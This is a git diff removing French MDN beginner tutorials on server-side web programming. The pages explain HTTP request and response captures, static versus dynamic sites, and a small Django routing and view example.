GET https://developer.mozilla.org/en-US/search?q=la+relation+Client+-+serveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev HTTP/1.1
-Host: developer.mozilla.org
-Connection: keep-alive
-Pragma: no-cache
-Cache-Control: no-cache
-Upgrade-Insecure-Requests: 1
-User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-Referer: https://developer.mozilla.org/en-US/
-Accept-Encoding: gzip, deflate, sdch, br
-Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7
-Accept-Language: en-US,en;q=0.8,es;q=0.6
-Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
-
- -

Les premières et secondes lignes contiennent la plupart des données déjà évoquées précédemment :

- -
    -
  • Le type de la requête (GET).
    • -
  • La cible de la  ressource URL (/en-US/search).
    • -
  • Les paramètres URL (q=La%2relation%2Client%2-%2Bserveur&topic=apps&topic=html&topic=css&topic=js&topic=api&topic=webdev).
    • -
  • Le site web cible/hôte (developer.mozilla.org).
    • -
  • La fin de la première ligne inclut aussi une petite chaîne identifiant la version spécifique du protocole (HTTP/1.1).
    • -
- -

La dernière ligne contient des données sur les cookies côté client — vous observerez que dans ce cas, le cookie a une id pour gérer la session :    (Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...).

- -

Les lignes restantes concernent le navigateur utilisé et les sortes de réponses qu'il peut accepter. Par exemple, vous pouvez voir ceci :

- -
    -
  • Mon navigateur (User-Agent) est Mozilla Firefox (Mozilla/5.0).
    • -
  • Il accepte les données compressées (Accept-Encoding: gzip).
    • -
  • Il accepte les familles de caractères suivantes :  (Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7) et pour les langages : (Accept-Language: de,en;q=0.7,en-us;q=0.3).
    • -
  • La ligne Referer indique l'adresse de la page web qui contenait le lien vers cette ressource (Par ex. l'origine de la requête : https://developer.mozilla.org/en-US/).
    • -
- -

Les requêtes HTTP peuvent aussi avoir un corps mais dans ce cas précis, il est vide.

- -

La réponse

- -

La première partie de la réponse à cette requête est détaillée ci-dessous. L'en-tête contient les données suivantes :

- -
    -
  • La première ligne embarque le code 200 OK, qui nous dit que la requête a abouti.
    • -
  • Nous pouvons voir que la réponse est formatée en  text/html (Content-Type).
    • -
  • On remarque qu'elle utilise l'ensemble des caractères UTF-8 (Content-Type: text/html; charset=utf-8).
    • -
  • L'en-tête indique aussi la taille (Content-Length: 41823).
    • -
- -

À la fin du message nous avons le contenu du corps  — lequel contient le "vrai" HTML demandé par la requête.

- -
HTTP/1.1 200 OK
-Server: Apache
-X-Backend-Server: developer1.webapp.scl3.mozilla.com
-Vary: Accept,Cookie, Accept-Encoding
-Content-Type: text/html; charset=utf-8
-Date: Wed, 07 Sep 2016 00:11:31 GMT
-Keep-Alive: timeout=5, max=999
-Connection: Keep-Alive
-X-Frame-Options: DENY
-Allow: GET
-X-Cache-Info: caching
-Content-Length: 41823
-
-
-
-<!DOCTYPE html>
-<html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false >
-<head prefix="og: http://ogp.me/ns#">
-  <meta charset="utf-8">
-  <meta http-equiv="X-UA-Compatible" content="IE=Edge">
-  <script>(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);</script>
-  ...
-
- -

Le reste de l'en-tête de la réponse contient des informations sur la réponse elle-même (quand elle a été générée), sur le serveur et comment le navigateur doit gérer la page ( X-Frame-Options: DENY cette ligne dit au navigateur de ne pas autoriser cette page a être intégrée dans une  {{htmlelement("iframe")}} dans un autre site).

- -

Exemple de requête/réponse POST

- -

Un POST HTTP est effectué lorsque vous soumettez un formulaire contenant des données à sauvegarder sur le serveur.

- -

La requête

- -

Le texte ci-dessous montre une requête HTTP faite quand un utlisateur soumet un nouveaux profil sur ce site. Le format de la requête est presque le même que celui de la requête GET vue précédemment, bien que la première ligne identifie cette requête comme un POST. 

- -
POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
-Host: developer.mozilla.org
-Connection: keep-alive
-Content-Length: 432
-Pragma: no-cache
-Cache-Control: no-cache
-Origin: https://developer.mozilla.org
-Upgrade-Insecure-Requests: 1
-User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
-Content-Type: application/x-www-form-urlencoded
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
-Accept-Encoding: gzip, deflate, br
-Accept-Language: en-US,en;q=0.8,es;q=0.6
-Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
-
-csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&user-fullname=Hamish+Willee&user-title=&user-organization=&user-location=Australia&user-locale=en-US&user-timezone=Australia%2FMelbourne&user-irc_nickname=&user-interests=&user-expertise=&user-twitter_url=&user-stackoverflow_url=&user-linkedin_url=&user-mozillians_url=&user-facebook_url=
- -

La principale différence est que l'URL ne comporte pas de paramètres.  Comme vous voyez, l'information du formulaire est encodée dans le corps de la requête (par exemple : le nom complet du nouvel utilisateur est paramétré avec  &user-fullname=Hamish+Willee).

- -

La réponse

- -

La réponse à la requête est expliquée dessous. Le statut "302 Found" dit au navigateur que le post a abouti et qu'il peut délivrer une deuxième requête HTTP pour charger la page spécifiée dans le champ  Location. L'information est donc en cela similaire à une réponse de requête GET.

- -
HTTP/1.1 302 FOUND
-Server: Apache
-X-Backend-Server: developer3.webapp.scl3.mozilla.com
-Vary: Cookie
-Vary: Accept-Encoding
-Content-Type: text/html; charset=utf-8
-Date: Wed, 07 Sep 2016 00:38:13 GMT
-Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
-Keep-Alive: timeout=5, max=1000
-Connection: Keep-Alive
-X-Frame-Options: DENY
-X-Cache-Info: not cacheable; request wasn't a GET or HEAD
-Content-Length: 0
-
- -
-

Note : Les requêtes et réponses montrées dans ces exemples ont été capturées avec l'application Fiddler , mais vous pouvez avoir des informations similaires en utilisant des "renifleurs" web  (e.g. Websniffer, Wireshark) ou des extensions de navigateur comme  HttpFox. Vous pouvez essayer seul. Utilisez tous les outils recommandés, naviguez sur des sites et  éditez des profils de données pour explorer les différentes requêtes et réponses. La plupart des navigateurs modernes ont aussi des outils qui gérent les requêtes réseau, par exemple le Network Monitor dans Firefox).

-
- -

Les sites statiques

- -

Un site statique renvoie le même contenu codé en dur depuis le serveur quelle que soit la ressource demandée. Si vous avez une page concernant un produit à l'adresse  /static/myproduct1.html, cette même page sera retournée à chaque utilisateur. Si vous ajoutez un nouveau produit, vous devez ajouter une nouvelle page (par ex : myproduct2.html) et ainsi de suite. Cela peut être vraiment inefficace — Comment faire quand vous avez des milliers de pages "produit" à faire ? Vous allez répéter beaucoup de code identique dans chaque page (le modèle de base de la page, sa structure, etc.) et si vous voulez changer quoique ce soit dans la structure de la page — comme une section "produits dérivés" par exemple — alors, il faudra changer chaque page individuellement..

- -
-

Note : Les sites statiques sont trés efficace quand vous avez un petit nombre de pages et que vous voulez envoyer le même contenu à chaque utilisateur. De toutes façons, ils peuvent avoir un coût certain de maintenance au fur et à mesure de l'augmentation du nombre de pages.

-
- -

Voyons comment tout cela marche en révisant un diagramme d'architecture de site statique vu dans l'article précédent.

- -

A simplified diagram of a static web server.

- -

Quand un utilisateur veut naviguer jusqu'à une page, le navigateur envoie une requête HTTP GET spécifiant l'URL de sa page HTML. Le serveur retourne le document demandé depuis son système de fichiers et retourne une réponse  HTTP contenant le document et un  HTTP Response status code ( statut codé de la réponse HTTP) qui est  "200 OK" (indiquant le succés de l'opération). Le serveur peut retourner un statut différent, par exemple "404 Not Found"  si le fichier est absent sur le serveur , ou bien "301 Moved Permanently" si le fichier existe mais a été déplacé vers une nouvelle localisation.

- -

Le serveur d'un site statique n'aura à faire face qu'à des requêtes  GET vu qu'il ne stocke aucune donnée modifiable. Il ne change pas non plus ses réponses basées sur les données des requêtes HTTP (c'est à dire les paramètres URL ou les cookies). 

- -

Comprendre comment fonctionnent les sites statiques est sans aucun doute trés utile à l'apprentissage de la programmation côté serveur car les sites dynamiques gèrent les requêtes pour les fichiers statiques (CSS, JavaScript, images statiques , etc.) exactement de la même manière.

- -

Les sites dynamiques

- -

Un site dynamique peut générer et retourner du contenu basé sur une requête URL spécifique et les données (plutôt que de toujours renvoyer le même fichier codé en dur à une URL particulière).  Toujours avec l'exemple d'un site "produits", le serveur stockera les données du produit dans une base de données plutôt que dans un fichier HTML individuel. Quand il reçoit une requête HTTP GET pour un produit, le serveur détermine l'ID du produit, va chercher les données dans la base de données puis construit la page HTML pour la réponse en intégrant les données dans un gabarit (template) HTML. C'est un avantage indéniable sur un site statique :

- -

Utiliser une base de données permet à l'information "produit" d'être stockée efficacement, en étant modifiable, extensible et bien indexée.

- -

Employer des gabarits HTML facilite la façon de changer la structure HTML parce que c'est fait en un seul endroit, dans un seul gabarit (template) et non pas sur potentiellement des milliers de pages statiques.

- -

Anatomie d'un requête dynamique

- -

Cette section présente une vue d'ensemble du cycle dynamique HTTP de requête/réponse, construit avec ce que nous avons vu précédemment avec de plus amples détails. Toujours dans l'optique de "faire les choses en réel" nous utiliserons le contexte du site d'une équipe de sport où l'entraîneur peut sélectionner le nom de l'équipe et le nombre de joueurs dans un formulaire HTML et avoir en retour une suggestion "Meilleure composition" pour le prochain match.

- -

Le diagramme ci-dessous montre les principaux éléments du site Web "entraîneur d'équipe", ainsi que des étiquettes numérotées pour la séquence des opérations lorsque l'entraîneur accède à la liste "meilleure équipe". Les parties du site qui le rendent dynamique sont l’application Web (c’est ainsi que nous nous référerons au code côté serveur qui traite les requêtes HTTP et renvoie les réponses HTTP), la base de données, qui contient des informations sur les joueurs, les équipes, les entraîneurs et leurs partenaires. relations, et les modèles HTML.

- -

This is a diagram of a simple web server with step numbers for each of step of the client-server interaction.

- -

Une fois que l’entraîneur a soumis le formulaire avec le nom de l’équipe et le nombre de joueurs, la séquence des opérations est la suivante:

- -
    -
  1. Le navigateur Web crée une requête HTTP GET au serveur en utilisant l’URL de base de la ressource (/ best) et en codant l’équipe et le numéro du joueur sous forme de paramètres d’URL (par exemple / best? team=my_team_name&show = 11) ou dans le cadre de l’URL modèle (par exemple / best / my_team_name / 11 /). Une requête GET est utilisée car la requête extrait uniquement des données (sans les modifier).
    2. -
  2. Le serveur Web détecte que la demande est "dynamique" et la transmet à l'application Web pour traitement (le serveur Web détermine comment gérer différentes URL en fonction des règles de correspondance de modèle définies dans sa configuration).
    3. -
  3. L'application Web identifie l'objectif de la demande d'obtenir la "meilleure liste d'équipes" en fonction de l'URL (/ best /) et recherche le nom d'équipe requis et le nombre de joueurs à partir de l'URL. L'application Web obtient alors les informations requises de la base de données (en utilisant des paramètres "internes" supplémentaires pour définir quels joueurs sont les "meilleurs", et éventuellement en obtenant également l'identité de l'entraîneur connecté à partir d'un cookie côté client).
    4. -
  4. L'application Web crée dynamiquement une page HTML en plaçant les données (de la base de données) dans des espaces réservés dans un modèle HTML.
    5. -
  5. L'application Web renvoie le code HTML généré au navigateur Web (via le serveur Web), ainsi qu'un code d'état HTTP de 200 ("success"). Si quoi que ce soit empêche le code HTML d'être renvoyé, l'application Web renvoie un autre code, par exemple "404" pour indiquer que l'équipe n'existe pas.
    6. -
  6. Le navigateur Web commence alors à traiter le code HTML renvoyé, en envoyant des demandes distinctes pour obtenir tous les fichiers CSS ou JavaScript qu’il référence (voir étape 7).
    7. -
  7. Le serveur Web charge les fichiers statiques à partir du système de fichiers et les renvoie directement au navigateur (là encore, le traitement correct des fichiers est basé sur les règles de configuration et la correspondance des types d'URL).
    8. -
- -

Une opération de mise à jour d'un enregistrement dans la base de données serait gérée de la même manière, sauf que, comme toute mise à jour de base de données, la demande HTTP du navigateur devrait être codée en tant que demande POST.

- -

que faire d'autre?

- -

Le travail d'une application Web consiste à recevoir des requêtes HTTP et à renvoyer des réponses HTTP. Bien que l'interaction avec une base de données pour obtenir ou mettre à jour des informations soit une tâche très courante, le code peut faire d'autres choses en même temps, ou ne pas interagir du tout avec une base de données.Un bon exemple de tâche supplémentaire qu'une application Web pourrait exécuter serait l'envoi d'un courrier électronique aux utilisateurs pour confirmer leur inscription sur le site. Le site peut également effectuer une journalisation ou d’autres opérations.

- -

Renvoyer autre chose que  du HTML

- -

Le code de site Web côté serveur ne doit pas nécessairement renvoyer des extraits / fichiers HTML dans la réponse. Au lieu de cela, il peut créer et renvoyer de manière dynamique d'autres types de fichiers (texte, PDF, CSV, etc.) ou même des données (JSON, XML, etc.).L'idée de renvoyer des données à un navigateur Web afin qu'il puisse mettre à jour de manière dynamique son propre contenu ({{glossary ("AJAX")}}) existe depuis un certain temps. Plus récemment, les "applications à page unique" sont devenues populaires, le site Web entier étant écrit avec un seul fichier HTML mis à jour de manière dynamique en cas de besoin. Les sites Web créés à l'aide de ce style d'application génèrent des coûts de calcul considérables entre le serveur et le navigateur Web, ce qui peut donner l'impression que les sites Web se comportent beaucoup plus comme des applications natives (très réactives, etc.).

- -

Les frameworks Web simplifient la programmation Web côté serveur

- -

Les infrastructures Web côté serveur facilitent beaucoup la rédaction de code permettant de gérer les opérations décrites ci-dessus.L’une des opérations les plus importantes qu’ils effectuent consiste à fournir des mécanismes simples pour mapper les URL de différentes ressources / pages à des fonctions de gestionnaire spécifiques. Cela facilite la séparation du code associé à chaque type de ressource. Cela présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière à un endroit, sans avoir à changer la fonction de gestionnaire.Par exemple, considérons le code Django (Python) suivant qui mappe deux modèles d'URL à deux fonctions d'affichage. Le premier modèle garantit qu'une requête HTTP avec une URL de ressource / best sera transmise à une fonction nommée index () dans le module views. Une demande qui a pour motif "/ best / junior" sera plutôt transmise à la fonction d'affichage junior ().

- -
# file: best/urls.py
-#
-
-from django.conf.urls import url
-
-from . import views
-
-urlpatterns = [
-    # example: /best/
-    url(r'^$', views.index),
-    # example: /best/junior/
-    url(r'^junior/$', views.junior),
-]
- -
-

Note: Les premiers paramètres des fonctions url () peuvent paraître un peu bizarres (par exemple, r '^ junior / $') car ils utilisent une technique de correspondance de modèle appelée "expressions régulières" (RegEx ou RE). Vous n'avez pas besoin de savoir comment fonctionnent les expressions régulières à ce stade, car elles nous permettent également de faire correspondre les modèles de l'URL (plutôt que les valeurs codées en dur ci-dessus) et de les utiliser comme paramètres dans nos fonctions d'affichage. À titre d'exemple, un RegEx très simple pourrait dire "faire correspondre une seule lettre majuscule, suivie de 4 à 7 lettres minuscules".

-
- -
L'infrastructure Web permet également à une fonction d'affichage d'extraire facilement des informations de la base de données. La structure de nos données est définie dans des modèles, qui sont des classes Python qui définissent les champs à stocker dans la base de données sous-jacente. Si nous avons un modèle nommé Team avec un champ "team_type", nous pouvons utiliser une syntaxe de requête simple pour récupérer toutes les équipes ayant un type particulier.
- -
L’exemple ci-dessous donne la liste de toutes les équipes ayant le type d’équipe exact (sensible à la casse) de "junior" - notez le format: nom du champ (team_type) suivi du  double underscore, puis du type de match à utiliser (ici nous utilisons: exact). ). Il existe de nombreux autres types de match et nous pouvons les enchaîner. Nous pouvons également contrôler l'ordre et le nombre de résultats retournés.
- -
- -
#best/views.py
-
-from django.shortcuts import render
-
-from .models import Team
-
-
-def junior(request):
-    list_teams = Team.objects.filter(team_type__exact="junior")
-    context = {'list': list_teams}
-    return render(request, 'best/index.html', context)
-
- -

Une fois que la fonction junior () a obtenu la liste des équipes juniors, elle appelle la fonction render () en transmettant la requête HttpRequest d'origine, un modèle HTML et un objet "context" définissant les informations à inclure dans le modèle. La fonction render () est une fonction pratique qui génère du HTML à l'aide d'un context et d'un template HTML, puis le renvoie dans un objet HttpResponse.De toute évidence, les frameworks Web peuvent vous aider dans de nombreuses autres tâches. Nous discutons beaucoup plus d'avantages et de choix de frameworks Web populaires dans le prochain article.

- -

Summary

- -

À ce stade, vous devez avoir une bonne vue d'ensemble des opérations que le code côté serveur doit effectuer et connaître certaines des manières dont une infrastructure Web côté serveur peut faciliter cela.

- -

Dans un module suivant, nous vous aiderons à choisir le meilleur framework Web pour votre premier site.

- -

{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}

- -

In this module

- - diff --git a/files/fr/learn/server-side/premiers_pas/index.html b/files/fr/learn/server-side/premiers_pas/index.html deleted file mode 100644 index a8caf88e4d..0000000000 --- a/files/fr/learn/server-side/premiers_pas/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Premiers pas dans la programmation d'un site côté serveur -slug: Learn/Server-side/Premiers_pas -tags: - - Débutant - - Encodage - - Guide - - Intro - - Programmation côté serveur -translation_of: Learn/Server-side/First_steps ---- -
{{LearnSidebar}}
- -

Dans ce module nous répondrons à quelques questions fondamentales sur la programmation côté serveur — "Qu'est-ce que c'est ?", "En quoi diffère-t-elle de la programmation côté client ?" et "Pourquoi est-ce si utile ?". Nous fournirons ensuite un aperçu de certaines infrastructures d'applications web (aussi appelé frameworks) côté serveurs parmi les plus populaires, ainsi que des conseils pour sélectionner la plus approprié pour créer votre premier site. Enfin un article vous présentera les questions de sécurité pour un serveur web.   

- -

Prérequis

- -

Pour suivre ce module, aucune connaissance en programmation web côté serveur ou tout autre type de programmation n'est nécessaire.

- -

Vous aurez besoin de comprendre "comment fonctionne le web". Nous vous recommandons de lire d'abord les sujets suivants :

- - - -

Avec cette compréhension de base, vous serez prêts à parcourir les modules de cette section.

- -

Guides

- -
-
Introduction au côté serveur
-
Bienvenue au cours de programmation débutant de MDN ! Dans ce premier article, nous examinerons la programmation côté serveur, répondant à des questions comme «En quoi consiste-t-elle ?», «En quoi diffère-t-elle de la programmation côté client ?» et «Pourquoi est-ce si utile ?». Après avoir lu cet article, vous comprendrez comment la programmation côté serveur donne aux sites web toute leur puissance.
-
Présentation client-serveur
-
Maintenant que vous connaissez le but et les avantages potentiels de la programmation côté serveur, nous allons examiner en détail ce qui se passe lorsqu'un serveur reçoit une "requête dynamique" d'un navigateur. Comme la plupart des codes côté serveur traitent les demandes et les réponses de la même manière, cela vous aidera à comprendre ce que vous devez faire lorsque vous écrivez votre propre code.
-
Frameworks web côté serveur
-
Le dernier article vous a montré ce qu'une application web côté serveur doit faire pour répondre aux demandes d'un navigateur web. Nous allons maintenant vous montrer comment les frameworks web peuvent simplifier ces tâches ; nous vous aiderons à choisir le bon framework pour coder votre première application web côté serveur.
-
Sécurité de votre site web
-
La sécurité de votre site web requiert une vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre les premières mesures importantes à prendre pour mettre votre application web à l'abri des menaces les plus courantes.
-
- -

Évaluations

- -

Ce module "aperçu" n'a aucune évaluation car nous ne vous avons pas encore montré de code. Nous espérons à ce stade que vous avez une bonne compréhension des types de fonctionnalités que vous pouvez fournir en utilisant la programmation côté serveur et que vous avez pris une décision quant à l'infrastructure web côté serveur que vous utiliserez pour créer votre premier site web.

diff --git a/files/fr/learn/server-side/premiers_pas/introduction/index.html b/files/fr/learn/server-side/premiers_pas/introduction/index.html deleted file mode 100644 index d61d1d18c4..0000000000 --- a/files/fr/learn/server-side/premiers_pas/introduction/index.html +++ /dev/null @@ -1,234 +0,0 @@ ---- -title: Présentation du côté serveur -slug: Learn/Server-side/Premiers_pas/Introduction -tags: - - Apprendre - - Débutant - - Guide - - Intro - - Programmation côté serveur - - Serveur -translation_of: Learn/Server-side/First_steps/Introduction ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}
- -

Bienvenue au cours pour débutant de MDN sur la programmation côté serveur. Dans ce premier article, nous allons regarder la programmation côté serveur sans rentrer dans les détails techniques, en répondant aux questions telles que "qu'est-ce que c'est?", "quelle est la différence avec la programmation côté client?", et "pourquoi est-ce utile?". Après avoir lu cet article vous comprendrez commment la programmation côté serveur donne toute leur puissance aux sites web.

- - - - - - - - - - - - -
Prérequis:Connaissances de base en informatique. Une compréhension de base de ce qu'est un serveur web.
Objectif:Se familiariser avec la programmation côté serveur, ce qu'elle peut faire, et en quoi elle diffère de la programmation côté client.
- -

La plupart des sites web à grande échelle utilisent du code côté serveur pour afficher dynamiquement différentes données lorsque nécessaire ; ces données sont généralement extraites d'une base de données stockée sur un serveur et envoyées au client pour être affichées avec du code (HTML et/ou JavaScript). 

- -

L'avantage le plus significatif du code côté serveur est sans doute qu'il permet d'adapter le contenu du site web à chaque utilisateur. Les sites dynamiques peuvent mettre en évidence du contenu pertinent en fonction des préférences et des habitudes de l'utilisateur. Il peut également faciliter l'utililsation des sites web en stockant des données, des informations personnelles — par exemple donner la possibilité d'enregistrer une carte de crédit pour les achats suivants.

- -

Cela peut même permettre une interaction avec les utilisateurs du site, en envoyant des notifications et mises à jour par email ou via d'autres canaux. Toutes ces capacités rendent possible un engagement plus important avec l'utilisateur.

- -

Dans le monde moderne du développement web, apprendre le développement côté serveur est fortement recommandé.

- -

Qu'est-ce que la programmation côté serveur?

- -

Les navigateurs web communiquent avec les serveurs web en utilisant le protocole {{glossary("HTTP")}} (HyperText Transfer Protocol). Quand vous cliquez sur un lien dans une page web, envoyez un formulaire, ou encore lancez une recherche, une requête HTTP est envoyée du navigateur au serveur cible.

- -

Une requête inclut une URL pour identifier la ressource demandée, une méthode pour définir l'action désirée (comme GET pour obtenir, DELETE pour supprimer ou POST pour publier) et peut également inclure des informations supplémentaires encodées dans les paramètres de l'URL (des paires clés/valeurs envoyées via une chaîne de recherche — query string en anglais), les données POST (données envoyées par la méthode HTTP POST), ou les {{glossary("Cookie", "cookies associés")}}.

- -

Les serveurs web attendent des requêtes du client, les traitent quand elles arrivent, et répondent au navigateur web avec une réponse HTTP. La réponse contient un statut qui indique si la requête a pu être traitée avec succès ou non (exemple "HTTP/1.1 200 OK" pour indiquer le succès). 

- -

Le corps de la réponse, si la requête réussit, contient alors la ressource demandée (comme une page HTML, une image, etc...), que le navigateur web peut alors afficher.

- -

Sites statiques

- -

Le diagramme ci-dessous montre l'architecture d'un serveur web basique pour un site statique (un site statique est un site qui renvoie du contenu codé en dur, c'est à dire le contenu d'un fichier, quand une ressource donnée est demandée). Quand un utilisateur veut naviguer sur une page, le navigateur envoie une requête HTTP "GET" spécifiant son URL.

- -

Le serveur récupère le document demandé du système de fichiers et retourne une réponse HTTP contenant le document et le statut de la réponse (habituellement, 200 OK). Si le fichier ne peut pas être recupéré pour une raison x ou y, le statut d'erreur est retourné (voir réponses d'erreur client et réponse d'erreur serveur).

- -

A simplified diagram of a static web server.

- -

Sites dynamiques

- -

Un site web dynamique, quant à lui, est un site dont une partie des réponses sont générées dynamiquement, à la demande. Sur les sites dynamiques, les pages HTML sont normalement crées en insérant des données d'une base de données dans des espaces réservés à l'intérieur de templates HTML (c'est une manière beaucoup plus efficace que des fichiers statiques pour stocker de grandes quantités de contenu). 

- -

Un site dynamique peut retourner des données différentes pour une URL, en se basant sur les informations fournies par l'utilisateur ou les préférences stockées et peut effectuer des opérations avant de retourner la réponse.

- -

La plupart du code pour maintenir un site web dynamique doit s'exécuter sur le serveur. La création de ce code est ce qu'on appelle la "programmation côté serveur" (ou parfois "codage back-end").

- -

Le diagramme ci-dessous montre une architecture simple pour un site web dynamique. Comme dans le diagramme précédent, les navigateurs envoient des requêtes HTTP au serveur, qui les traite et retourne les réponses HTTP appropriées.

- -

Les requêtes pour les ressources statiques sont toujours gérées de la même manière que pour les sites statiques (les ressources statiques sont tous les fichiers qui ne changent pas —typiquement : CSS, JavaScript, Images, fichiers PDF etc).

- -

A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview.

- -

Les requêtes pour les ressources dynamiques, elles, sont transmises (2) au code côté serveur (indiqué dans le diagramme comme Web Application). Le serveur interprète la requête, lit les informations correspondantes dans la base de données (3), combine les données récupérées avec les templates HTML (4), et renvoie la réponse avec le HTML généré (5,6). 

- -
-

La programmation côté serveur c'est pareil que côté client?

-
- -

Voyons maintenant le code impliqué dans la programmation côté serveur et côté client. Dans chaque cas, le code est significativement différent :

- -
    -
  • Ils ont des objectifs et des préoccupations différents.
    • -
  • Ils n'utilisent généralement pas les mêmes langages de programmation (exception faite de JavaScript, qui peut être utilisé côté serveur et côté client).
    • -
  • Ils s'exécutent dans des environnements différents du système d'exploitation.
    • -
- -

Le code exécuté par le navigateur est connu sous le nom de code côté client (ou front-end) et se préoccupe principalement de l'apparence et du comportement des pages web affichées. Cela inclut sélectionner et styliser les composants de l'interface utilisateur, créer la mise en page, la navigation, valider les formulaires, etc. D'un autre côté, la programmation côté serveur implique de définir le contenu retourné au navigateur en réponse aux requêtes. Le code côté serveur gère des tâches telles que la validation des données envoyées, l'utilisation des bases de données pour stocker et récupérer des données et l'envoi de données générées au client tel qu'attendu.

- -

Le code client est écrit en HTML, CSS, et JavaScript — il est exécuté dans un navigateur web et a peu ou pas accès au système d'exploitation de l'utilisateur (inclut un accès limité au système de fichiers).

- -

Les développeurs web ne peuvent pas contrôler quel navigateur est utilisé par l'utilisateur pour voir le site web  — or les navigateurs fournissent des niveaux de compatibilité inconsistants quant aux fonctionnalités du code côté client, et une partie du challenge de la programmation côté client consiste à gérer les différences de support des navigateurs.

- -

Le code côté serveur peut être écrit dans nombre de langages de programmation — les langages les plus populaires pour la programmation web côté serveur sont en autres PHP, Python, Ruby, C#, et NodeJS(JavaScript). Le code côté serveur a plein accès au système d'exploitation du serveur et le développeur est libre de choisir le langage (et la version) qu'il veut utiliser.

- -

Typiquement, les développeurs écrivent leur code en utilisant des frameworks web. Les frameworks web sont des ensembles de fonctions, objets, règles et autres constructions de code conçus pour résoudre des problèmes courants, accélérer le développement et simplifier les différents types de tâches rencontrées dans un domaine particulier.

- -

Encore une fois, bien que le code côté client et côté serveur utilisent des frameworks, les domaines d'application sont très différents et par conséquent les frameworks aussi. Les frameworks web côté client simplifient les tâches de mise en page et de présentation tandis que les frameworks web côté serveur fournissent des fonctionnalités "courantes" que vous auriez probablement à implémenter vous-même autrement (comme le support des sessions, des utilisateurs et de l'authentification, l'accès à la base de données, les bibliothèques de templates, etc.).

- -
-

Note : Les frameworks côté client sont souvent utilisés pour accélérer le développement du code côté client, mais vous pouvez également choisir d'écrire tout le code à la main ; en vérité, écrire votre code à la main peut être plus rapide et plus efficace si vous n'avez besoin que d'une petite interface web très simple.

- -

En revanche, vous ne penseriez presque jamais à écrire les composants côté serveur d'une application web sans framework — implémenter des fonctionnalités vitales comme un serveur HTTP est très difficile à faire à partir de rien, comme disons en Python, alors que les frameworks web Python comme Django le fournissent tout prêt à l'emploi, accompagné d'autres outils très utiles.

-
- -
-

Que peut-on faire côté serveur?

- -

La programmation côté serveur est très utile parce qu'elle nous permet de délivrer efficacement de l'information taillée sur mesure pour l'utilisateur et ainsi créer une bien meilleure expérience utilisateur.

-
- -

Des compagnies comme Amazon utilisent la programmation côté serveur pour construire la recherche de produits, faire des suggestions de produit ciblées sur les préférences du client et ses habitudes d'achat, simplifier les achats, etc.

- -

Les banques l'utilisent pour stocker les informations du compte ainsi que faire des transactions et n'autoriser à les consulter que les utilisateurs reconnus. D'autres services comme Facebook, Twitter, Instagram, et Wikipedia utilisent la programmation côté serveur pour mettre en avant, partager et contrôler l'accès au contenu.

- -

Les utilisations les plus courantes et les plus bénéfiques de la programmation côté serveur sont listées ci-dessous. Vous verrez qu'il y a quelques recoupements :

- -

Stockage et distribution de l'information plus efficaces

- -

Imaginez combien de produits sont disponibles sur Amazon et combien de posts ont été écrits sur Facebook. Créer une page statique distincte pour chaque produit ou article serait totalement impossible.

- -

La programmation côté serveur nous permet plutôt de stocker l'information dans une base de données et de construire et retourner dynamiquement le HTML ainsi que d'autres types de fichiers (comme les PDF, images, etc.). Il est également possible de simplement retourner des données ({{glossary("JSON")}}, {{glossary("XML")}}, etc.) pour les afficher avec des frameworks côté client (cela réduit la charge de travail du serveur et la quantité de données qui doit être retournée).

- -

Le serveur ne se limite pas à l'envoi d'informations à partir de bases de données, il peut retourner le résultat d'autres outils logiciels, ou les données de services de communication. Le contenu peut même être ciblé pour le type d'appareil client qui le reçoit.

- -

Comme les informations se trouvent dans une base de données, elles peuvent également être partagées et mises à jour plus facilement avec d'autres systèmes (par exemple, quand des produits sont vendus en ligne ou dans un magasin, le magasin peut mettre à jour son inventaire).

- -
-

Note : Votre imagination n'a pas à travailler dur pour voir les bénéfices du code côté serveur pour le stockage et distribution de l'information:

- -
    -
  1. Allez sur Amazon ou tout autre site e-commerce.
    2. -
  2. Cherchez un certain nombre de mot-clés et remarquez que la structure de la page de change pas, même si les résultats oui. 
    3. -
  3. Ouvrez deux ou trois produits. Remarquez que la structure et la disposition de la page sont identiques, mais que le contenu pour les différents produits a été extrait de la base de données.
    4. -
- -

